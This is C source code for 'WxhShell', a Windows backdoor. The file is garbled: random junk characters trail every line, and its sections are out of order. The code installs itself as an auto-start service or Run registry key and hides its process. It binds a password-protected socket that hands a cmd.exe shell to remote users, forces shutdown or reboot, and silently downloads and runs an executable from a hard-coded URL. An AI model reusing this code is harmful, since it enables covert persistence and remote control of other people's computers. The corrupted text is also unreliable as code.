    closesocket(wsh); j~q`xv+R  
    ExitThread(0); Mwc3@  
    } D/UGN+  
    break; _I4sy=tYXK  
    } q:.BY}X9  
  // 关机 LWV`xCr8R  
  case 'd': { -;"l 5oX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =LnAMl#9  
    if(Boot(SHUTDOWN)) ]]3D` F}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?s33x#  
    else { A,qG*lv  
    closesocket(wsh); B4aZ3.&W  
    ExitThread(0); 3/FB>w gt  
    } oD\+ 5[x  
    break; @CF4:NNHw  
    } qDAjW)w Jp  
  // 获取shell T<)z2Bi  
  case 's': { M7 !" t  
    CmdShell(wsh); q|J]  
    closesocket(wsh); \/v$$1p2  
    ExitThread(0); ||aU>Wj4  
    break; >,3 3Jx  
  } 4PQWdPv;  
  // 退出 Q@n kT1o  
  case 'x': { "g-NUl`'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !&[4T#c  
    CloseIt(wsh); X2v'9 x  
    break; z?,5v`,t2  
    } <b I,y_<K  
  // 离开 ? Q}{&J  
  case 'q': { VIzZmd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q?&&:.H"?5  
    closesocket(wsh); &=bI3-  
    WSACleanup(); 2-84  
    exit(1); mX^RSg9E}  
    break; zn|}YovY+  
        } 5Y^ YKV{  
  } )3sb 2 #  
  } mN02T@R-  
za7wNe(s  
  // 提示信息 _wCSL.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e$=|-J z  
} C.<4D1}P  
  } bAp`lmFI  
\ua.%|  
  return; g\'sGt3O  
} 2|BE{91  
F1>,^qyG6  
// shell模块句柄 ^ a:F*<D  
int CmdShell(SOCKET sock) kx[8#+P  
{ E<dN=#f6  
STARTUPINFO si; &&O=v]6,V  
ZeroMemory(&si,sizeof(si)); 2uVm?nm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4a-wGx#h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .Ko`DH~!,C  
PROCESS_INFORMATION ProcessInfo; "Q1hP9xV  
char cmdline[]="cmd"; s3J$+1M >  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vaL-Mi(_  
  return 0; M_K&x-H0  
} )f Rh^6  
5S LF1u;  
// 自身启动模式 zlE kP @)  
int StartFromService(void) d@hJ=-4  
{ Sf9+TW  
typedef struct #x21e }Li  
{ K-ebAaiC  
  DWORD ExitStatus; STe;Sr&p  
  DWORD PebBaseAddress; AI2CfH#:C  
  DWORD AffinityMask; V 6F,X`7  
  DWORD BasePriority; }qTvUs  
  ULONG UniqueProcessId; /hQ!dU.+  
  ULONG InheritedFromUniqueProcessId; X}$S|1CjO  
}   PROCESS_BASIC_INFORMATION; Dg`W{oj  
Cb.Aw!  
PROCNTQSIP NtQueryInformationProcess; fJuJ#MX{:  
( C&f~U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R<-KXT9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &3<]FK  
&!ZpBR(  
  HANDLE             hProcess; b11C3TyQT  
  PROCESS_BASIC_INFORMATION pbi; *RPI$0  
zw?6E8$h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C$8=HM3  
  if(NULL == hInst ) return 0; e 6*=Si}V  
S:gP\Atf>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); # V +e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); * 7CI q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _),@^^&x  
A Ho<E"R\  
  if (!NtQueryInformationProcess) return 0; <$E8T>U  
M5]w U   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /-T%yuU  
  if(!hProcess) return 0; lI9 3{!+>  
5s;#C/ZZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;\h'A(  
8g\.1<~  
  CloseHandle(hProcess); _>s.V`N'  
eX\t]{\oC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #ed]zI9O  
if(hProcess==NULL) return 0; 6*$N@>8&  
_wIAr  
HMODULE hMod; fw<'ygd  
char procName[255]; ^#+9v  
unsigned long cbNeeded; /=%4gWtr  
>|<6s],v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J{H475GqiT  
}U9e#>e x  
  CloseHandle(hProcess); a`}-^;}SW  
!T}`h'  
if(strstr(procName,"services")) return 1; // 以服务启动 .fgoEB,(  
:H~r _>E  
  return 0; // 注册表启动 xe d$z  
} =Oy,SX  
fYwumx`J  
// 主模块 `+U-oqs  
int StartWxhshell(LPSTR lpCmdLine) t^q/'9Ai&J  
{ |nD`0Rbw  
  SOCKET wsl; l! GPOmf9`  
BOOL val=TRUE; # aC}\  
  int port=0; Q,>AT$|  
  struct sockaddr_in door; Gb"PMai  
H=0Y4 T@)T  
  if(wscfg.ws_autoins) Install(); (q)W<GYP  
FK->|  
port=atoi(lpCmdLine); 9vXrC_W9  
\eN}V  
if(port<=0) port=wscfg.ws_port; y<)x`&pcD  
by- B).7  
  WSADATA data; /gxwp:&lY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'E9\V\bi  
cEe>Lyt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =T[kGg8`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WUKYwA/t  
  door.sin_family = AF_INET; O3Yv ->#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XJGOX n$/  
  door.sin_port = htons(port); 7Y:1ji0l  
~h -0rE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kA fkQy(~  
closesocket(wsl);  IG 6yt  
return 1; q45Hmz  
} h60*=+vdJ  
S_WYU&8  
  if(listen(wsl,2) == INVALID_SOCKET) { LXr nAt  
closesocket(wsl); JW (.,Ztm  
return 1; >osY?9  
} +[ !K  
  Wxhshell(wsl); LyH{{+V  
  WSACleanup(); -|T.APxB  
SO9j/  
return 0; 2ACN5lyUS  
L'.7V ~b{  
} 525W; mu{  
Jc/*w  
// 以NT服务方式启动 J&wrBVv1uk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YuFJJAJ  
{ USv: + .  
DWORD   status = 0; Y$shn]~  
  DWORD   specificError = 0xfffffff; V|)3l7IC<  
(i1 ]+.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }/Pz1,/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >2TDYB|;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wUv Zc  
  serviceStatus.dwWin32ExitCode     = 0; ;~3CuN8  
  serviceStatus.dwServiceSpecificExitCode = 0; 9ELLJ@oNC  
  serviceStatus.dwCheckPoint       = 0; 82{Lx7pI  
  serviceStatus.dwWaitHint       = 0; ,dP-sD;<  
*MglX<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -)PQ&[  
  if (hServiceStatusHandle==0) return; Hz `aj  
^fa+3`>  
status = GetLastError(); 7E 6gXf.  
  if (status!=NO_ERROR) 9t9x&.A  
{ /^SIJS@^`>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; To.CY^M  
    serviceStatus.dwCheckPoint       = 0; J4&d6[40  
    serviceStatus.dwWaitHint       = 0; sA[hG*#/S  
    serviceStatus.dwWin32ExitCode     = status; N*y09?/h  
    serviceStatus.dwServiceSpecificExitCode = specificError; E0[ec6^qwY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q,(U8  
    return; v'mRch)d  
  } B agO0#  
a"@k11  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UiO%y  
  serviceStatus.dwCheckPoint       = 0; ],V_"\ATD  
  serviceStatus.dwWaitHint       = 0; OrNi<TY>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~bC{ R&p  
} 7.`Fe g.  
kr[p4X4  
// 处理NT服务事件,比如:启动、停止 ux:czZqy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @z[,w`  
{ 0Z $=2c?xT  
switch(fdwControl) K-vG5t0$\/  
{ fMgB!y"Em  
case SERVICE_CONTROL_STOP: -^yb[b,  
  serviceStatus.dwWin32ExitCode = 0; ya.!zGH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *mwHuGbZed  
  serviceStatus.dwCheckPoint   = 0; d e)7_pCF|  
  serviceStatus.dwWaitHint     = 0; }8`W%_Yk  
  { [uqe|< :  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q8OA{EUtq  
  } l];w,(u{  
  return; q$x$ 4  
case SERVICE_CONTROL_PAUSE: ,rc?,J1l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o."k7fLB  
  break; 845a%A$  
case SERVICE_CONTROL_CONTINUE: w/ &)mm{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dNK Q&TC  
  break; Oh)s"f\N  
case SERVICE_CONTROL_INTERROGATE: (xxNQ] l-(  
  break; HmlE Cx  
}; 0se0AcrW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x \0( l5>  
} !'scOWWn  
?'SHt9b3|  
// 标准应用程序主函数 NX.%Rj*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D_kz'0^|  
{ ML eo3  
g2)jd[GM  
// 获取操作系统版本 vz$-KT4e^  
OsIsNt=GetOsVer(); YvA@I|..~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]:H((rk  
P5;n(E(19  
  // 从命令行安装 Q5%$P\  
  if(strpbrk(lpCmdLine,"iI")) Install(); : :?,ZA  
I!LSD i3  
  // 下载执行文件 S=NP}4w,_)  
if(wscfg.ws_downexe) { /L|$* Xj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _%M+!Ltz  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6WI-ZEVp&  
} P}kBqMM  
5@c/,6l  
if(!OsIsNt) { n@1;5)&k~  
// 如果时win9x,隐藏进程并且设置为注册表启动 q-? k=RX`  
HideProc(); PH!^ww6  
StartWxhshell(lpCmdLine); (S<Z@y+d  
} j<,Ho4v}_  
else Qk`ykTS!  
  if(StartFromService()) "^gV.  
  // 以服务方式启动 hv. 33l  
  StartServiceCtrlDispatcher(DispatchTable); $+'bRUo  
else %PF:OB6[|  
  // 普通方式启动 R{6~7<m.  
  StartWxhshell(lpCmdLine); 4S9hz  
8&K1;l }  
return 0; Ebk9[=  
} "Sx}7?8AB  
y&A0}>a:d  
oY NIJXln  
}253Q!f  
=========================================== g<b(q|  
[-Xz:  
_Fc :<Ym?  
=@ SJyW  
yLFZo"r  
$RAS pM  
" $nf5bo/;  
g#W/WKvM  
#include <stdio.h>  s*XE  
#include <string.h> UYw_k\  
#include <windows.h> *HC[LM  
#include <winsock2.h> <t~RGn3  
#include <winsvc.h> k 'CM^,F&  
#include <urlmon.h> P }BU7`8  
fC4#b?Q  
#pragma comment (lib, "Ws2_32.lib") }^b7x;O|  
#pragma comment (lib, "urlmon.lib") h eR$j  
|M;tAG$,"y  
#define MAX_USER   100 // 最大客户端连接数 6x]x>:8  
#define BUF_SOCK   200 // sock buffer 76'@}wNnw  
#define KEY_BUFF   255 // 输入 buffer V?[dg^*0  
r:.ydr@  
#define REBOOT     0   // 重启 EdH;P \c  
#define SHUTDOWN   1   // 关机 PQ0l<]Y  
,V`zW<8  
#define DEF_PORT   5000 // 监听端口 [<0\v<{`L  
\N|ma P  
#define REG_LEN     16   // 注册表键长度 # .j[iN :+  
#define SVC_LEN     80   // NT服务名长度 '!V5 #J  
(7zdbJX  
// 从dll定义API K-<kp!v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^Fop/\E  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GS*Mv{JJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^i;y2c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ezz;NH  
b'5]o  
// wxhshell配置信息 dRhsnT+KX  
struct WSCFG { j]6c_r3  
  int ws_port;         // 监听端口 178u4$# b  
  char ws_passstr[REG_LEN]; // 口令 :6T 8\W  
  int ws_autoins;       // 安装标记, 1=yes 0=no AcoU.tpP  
  char ws_regname[REG_LEN]; // 注册表键名 iHYvH   
  char ws_svcname[REG_LEN]; // 服务名 |Q|vCWel{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h=x{ 3P;B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TXH9BlDn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g %e"KnU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Lh_Q@>k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C@P4}X0,=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VX'cFqrK3  
NA/hs/ '  
}; ;$FpxurX  
)ZHo7X  
// default Wxhshell configuration  ?|$IZ9  
struct WSCFG wscfg={DEF_PORT, `i"7; _HoV  
    "xuhuanlingzhe", ^q@6((O  
    1, bMCy=5  
    "Wxhshell", ^Gt9.  
    "Wxhshell", n !oxwA!  
            "WxhShell Service", Cg]Iz< <bE  
    "Wrsky Windows CmdShell Service",  MYk%p'  
    "Please Input Your Password: ", GEd JB=  
  1, e/J|wM9Ak  
  "http://www.wrsky.com/wxhshell.exe", x$gVEh*k  
  "Wxhshell.exe" lFZ}.  
    }; 6xC$R q  
WGC'k s ^  
// 消息定义模块 S-Z s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K}KgCJ3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "TQ3{=j{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T+knd'2V6  
char *msg_ws_ext="\n\rExit."; [BLBxSL  
char *msg_ws_end="\n\rQuit."; ]+)cXJ}6#  
char *msg_ws_boot="\n\rReboot..."; 4UV6'X)V  
char *msg_ws_poff="\n\rShutdown..."; S!JwF&EW  
char *msg_ws_down="\n\rSave to "; uK!G-1   
 y5!fbmf  
char *msg_ws_err="\n\rErr!"; m|8ljXX  
char *msg_ws_ok="\n\rOK!"; L2WH-XP=  
 9{(A-  
char ExeFile[MAX_PATH]; DtRu&>o_6D  
int nUser = 0; ;Q{~jT  
HANDLE handles[MAX_USER]; zEJZ,<  
int OsIsNt; FHv^^u'@  
kCVO!@yZz  
SERVICE_STATUS       serviceStatus; I<}<!.Bc!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?E2$  
F?jFFw im  
// 函数声明 QVq+';cG  
int Install(void); /t $J<bU  
int Uninstall(void); }z|@X KA#  
int DownloadFile(char *sURL, SOCKET wsh); 49Y_ze6L}  
int Boot(int flag); 0D Q\akh  
void HideProc(void); >I&'Rj&Mc  
int GetOsVer(void); 3{/Y&/\"'^  
int Wxhshell(SOCKET wsl); 6 h%%?  
void TalkWithClient(void *cs); 8~6H\.0Q  
int CmdShell(SOCKET sock); h!4jl0 oX]  
int StartFromService(void); 2 g`<*u*  
int StartWxhshell(LPSTR lpCmdLine); Kc,=J?Ob  
->q^$#e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {g@?\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wusj;v4C4M  
QGkMT +A  
// 数据结构和表定义 65g"$:0  
SERVICE_TABLE_ENTRY DispatchTable[] = ='U>P( R-  
{ na)-'  
{wscfg.ws_svcname, NTServiceMain}, EsK.g/d  
{NULL, NULL} tpQ?E<O  
}; 9`8D Ga  
=TcT`](o  
// 自我安装 y<0RgG1qp  
int Install(void) NJqjW  
{ !\(j[d#  
  char svExeFile[MAX_PATH]; NKX62 ZC  
  HKEY key; *l9Wj$vja  
  strcpy(svExeFile,ExeFile); 'ai3f  
wx]r{  
// 如果是win9x系统,修改注册表设为自启动 [.[|rnil  
if(!OsIsNt) { -,Y[`(q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :@=;WB*0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ijuIf9!  
  RegCloseKey(key); >dU.ic?19  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z<h?WsL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?mME^?x Mu  
  RegCloseKey(key); |9&bkojo  
  return 0; O_bgrXg6x  
    } 'Io2",~ M  
  } `COnb@uD  
} ]@G$ L,3  
else { 6upCL:A~r  
90rY:!e  
// 如果是NT以上系统,安装为系统服务 [)S7`K;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kE` V@F  
if (schSCManager!=0) D&C83^m  
{ \:[J-ySJ  
  SC_HANDLE schService = CreateService  8-.jf  
  ( X) O9PQ  
  schSCManager, : l&g5  
  wscfg.ws_svcname, A."]6R<  
  wscfg.ws_svcdisp, YZllfw$9  
  SERVICE_ALL_ACCESS, K H&o`U(}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `= FDNOwp  
  SERVICE_AUTO_START, y'#i'0eeL  
  SERVICE_ERROR_NORMAL, PrwMR_-  
  svExeFile, H-ewO8@  
  NULL, FcI ZG _  
  NULL, h F4gz*Q  
  NULL, "'zVwU  
  NULL, N |nZf5{  
  NULL +[C><uP  
  ); \'[C_+;X  
  if (schService!=0) 5<=ktA48[  
  { W%,h{  
  CloseServiceHandle(schService);  L4 )  
  CloseServiceHandle(schSCManager); 1nAAs;`'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 23_\UTM}1  
  strcat(svExeFile,wscfg.ws_svcname); Dc;zgLLL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7 8n`VmH~L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l<"Z?z  
  RegCloseKey(key); ~IIlCmMl,  
  return 0; 7!r)[2l  
    } vf-cx\y7  
  } WN`|5"?$  
  CloseServiceHandle(schSCManager); 2J0N]`|)  
} *$/!.e  
} # qPWJ  
V 'e _gH  
return 1; eJ2$DgB}t  
} Pko2fJt1  
s^6"qhTa  
// 自我卸载 azT@S=,  
int Uninstall(void) .Km6 (U  
{ 8*\PWl  
  HKEY key; c*:H6(u  
$Il:Yw_  
if(!OsIsNt) { ek9Y9eJ"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uL1$yf'  
  RegDeleteValue(key,wscfg.ws_regname); ![}q9aeT  
  RegCloseKey(key); }_GI%+t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { < X&{6xu  
  RegDeleteValue(key,wscfg.ws_regname); s?-J`k~q  
  RegCloseKey(key); 25m6/Y  
  return 0; ,{rm<M.)  
  } B$)&;Q  
} B!iz=+RNC1  
} d4[mR~XXT  
else { ^Ox|q_E w}  
L kA_M'G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w]Byl3}Gt  
if (schSCManager!=0) R3\oLT4  
{ :^92B?q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G zw $M  
  if (schService!=0) T#:n7$M|?A  
  { S{.G=O  
  if(DeleteService(schService)!=0) { u U;]/  
  CloseServiceHandle(schService); +,$ SZO]  
  CloseServiceHandle(schSCManager); D1g .Fek5  
  return 0; W]l&mr  
  } ),53(=/hl  
  CloseServiceHandle(schService); D @bnm s  
  } i *9Bu;  
  CloseServiceHandle(schSCManager); i{.%4tA4  
} Qe,aIh  
} 6'YsSde".  
NKJ+DD:'  
return 1; fAHf}j  
} {T2=bK~  
fRT4,;  
// 从指定url下载文件 0Xx&Z8E  
int DownloadFile(char *sURL, SOCKET wsh) KM o]J1o  
{ LRa^x44  
  HRESULT hr; .*_uXQ  
char seps[]= "/"; B!X;T9^d  
char *token; F\U^-/0,  
char *file; ,ag:w<km  
char myURL[MAX_PATH]; V\4zK$]  
char myFILE[MAX_PATH]; ` 0}z ;&:  
;kv/(veQ1<  
strcpy(myURL,sURL); [n!5!/g>j  
  token=strtok(myURL,seps); gdKn!; ,w#  
  while(token!=NULL) [Kc"L+H\  
  { &]xOjv/?  
    file=token; U`w `Cr  
  token=strtok(NULL,seps); ^w1&A 3=6  
  } `of` uB  
i=mk#.j~  
GetCurrentDirectory(MAX_PATH,myFILE);  WPnw  
strcat(myFILE, "\\"); ?9I=XTR  
strcat(myFILE, file); c"H59 jE  
  send(wsh,myFILE,strlen(myFILE),0); 8a}et8df:  
send(wsh,"...",3,0); !da [#zK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ']]5xH*U  
  if(hr==S_OK) sH_5.+,`  
return 0; G+dQ" cI9  
else |MEu"pY)  
return 1; g E#4 3  
Xe:gH.}  
} n +R3  
P g{/tM Y  
// 系统电源模块 A.@/~\  
int Boot(int flag) A\IQM^i  
{ EJ&aT etQ  
  HANDLE hToken; nz%{hMNYH  
  TOKEN_PRIVILEGES tkp; zUNWcv!& "  
l%^VBv> 2  
  if(OsIsNt) { 0[SJ7k19  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S.Rqu+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S( nZ]QEG  
    tkp.PrivilegeCount = 1; g4"0:^/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  |)'6U3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dY6A)[dAH'  
if(flag==REBOOT) { ^S]-7>Yyr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hnf7Q l}  
  return 0; 4x;vn8 yh  
} Cvk n2T  
else { 6~#$bp^-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gqCDF H  
  return 0; czH`a=mjH  
} &Ub0o2+y  
  } G,]%dZH e  
  else { k_$9cVA  
if(flag==REBOOT) { f5p:o}U*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 14LOeo5O  
  return 0; }g@5%DI]  
} %%-hax.x0X  
else { SmR"gu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .NOh[68'  
  return 0; bm Hl\?  
} Gs7#W:e7  
} I<v:x Tor  
_Vj uQ  
return 1; H[S 4o,  
} b7nER]R  
/`)>W :  
// win9x进程隐藏模块 _ h7qS  
void HideProc(void) kCoTz"Z-  
{ 4Z"JC9As  
"h>B`S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _0uFe7sIZ  
  if ( hKernel != NULL ) L(Ffa(i  
  { Pn;Tg7oz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7G^`'oZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vXA+4 ?ZG  
    FreeLibrary(hKernel); l[)ZEEP  
  } DQ a0S7I  
Z\@m_ /g  
return; <l,Kg 'v  
} 8&0+Az"{O  
>gqd y*Bg  
// 获取操作系统版本 %%=PpKYtSD  
int GetOsVer(void) l_`DQ8L`  
{ >#j f Z5t  
  OSVERSIONINFO winfo; 4z$}e-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q_sQC5:s  
  GetVersionEx(&winfo); Oy,`tG0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JkiMrpkuk  
  return 1; ls<7Qe"a  
  else 'aFjyY?%  
  return 0; j![;;  
} 4kZ9]5#.  
X9lh@`3  
// 客户端句柄模块 fT&>L  
int Wxhshell(SOCKET wsl) RkW)B^#  
{ /M.@dW7 w  
  SOCKET wsh; p%_m!   
  struct sockaddr_in client; Ul41R Ny)  
  DWORD myID; ,2I8,MOg  
c,\!<4  
  while(nUser<MAX_USER) ?uq7K"B  
{ Wg3\hv29  
  int nSize=sizeof(client); ~S='~ g)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jZ;dY~fE  
  if(wsh==INVALID_SOCKET) return 1; ~jqG  
svBT~P0x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2?)bpp$WZ  
if(handles[nUser]==0) xq.HR_\  
  closesocket(wsh); R p!R&U/  
else e!:/enQo  
  nUser++; [^U#ic>cT  
  } %kcyE<c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (zm5 4 Vm  
>*5+{~k~4  
  return 0; RH+'"f  
} b.<>CG'  
H,F/u&O  
// 关闭 socket ) ag8]   
void CloseIt(SOCKET wsh) pX nY=  
{ .Y?/J,Ch  
closesocket(wsh); 6@2 S*\&  
nUser--; 2`-yzm  
ExitThread(0); Xg](V.B6  
} RnA>oKc  
gx*rxid  
// 客户端请求句柄 x@@U&.1_A  
void TalkWithClient(void *cs) L;n2,b  
{ J:{$\m'  
D`t }V  
  SOCKET wsh=(SOCKET)cs; m _0D^e7#  
  char pwd[SVC_LEN]; q $Hg\ {c  
  char cmd[KEY_BUFF]; `3v! i   
char chr[1]; m}x&]">9  
int i,j; | CC(`<\R  
`@Q%}J  
  while (nUser < MAX_USER) { ~B NLzt3%O  
}WN0L?h.E  
if(wscfg.ws_passstr) { i&r56m<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I1H} 5 bf3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >UP{= `  
  //ZeroMemory(pwd,KEY_BUFF); ed,w-;(n~  
      i=0; >@2l/x8;  
  while(i<SVC_LEN) { Dn 6k,nVh  
`o9vE0^T<  
  // 设置超时 W.xlS ZEB  
  fd_set FdRead; F^ m`j6  
  struct timeval TimeOut; V7zF5=w  
  FD_ZERO(&FdRead); m]bv2S+5y  
  FD_SET(wsh,&FdRead); WhO;4-q)2  
  TimeOut.tv_sec=8; yAu-BObD  
  TimeOut.tv_usec=0; /ry# q% ?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6~ *w~U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wp0e?bK_  
Z=ayVsJ3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6z^Kg~a   
  pwd=chr[0]; 4{:W5eT!/  
  if(chr[0]==0xd || chr[0]==0xa) { $II[b-X?S  
  pwd=0; /\%K7\  
  break; Q]';1#J\  
  } H$^b.5K  
  i++; 9I a4PPEH1  
    } ?G5JAG`  
.b4_O CGg  
  // 如果是非法用户,关闭 socket 9.KOrg5}L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :qV}v2  
} 1_Um6vS#  
1PMBo=SUe8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d9zI A6y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >uok\sX  
@#T*OH  
while(1) { dQ=mg#(  
hcw)qB,s  
  ZeroMemory(cmd,KEY_BUFF); KzQ\A!qG  
_YXk ,ME!Q  
      // 自动支持客户端 telnet标准   ?|8QL9Q"|  
  j=0; dOm#NSJVd  
  while(j<KEY_BUFF) { f`5e0;zm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uzO%+B!  
  cmd[j]=chr[0]; f\Bd lOJ>  
  if(chr[0]==0xa || chr[0]==0xd) { AsRS7V  
  cmd[j]=0; SR 9 Cl  
  break; i$) `U]  
  } q16RPqfT  
  j++; G>?hojvi  
    } FhgO5@BO  
x1m J&D  
  // 下载文件 8&6h()  
  if(strstr(cmd,"http://")) { S~\i"A)4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ."R,j|o6  
  if(DownloadFile(cmd,wsh)) $73j*@EQA  
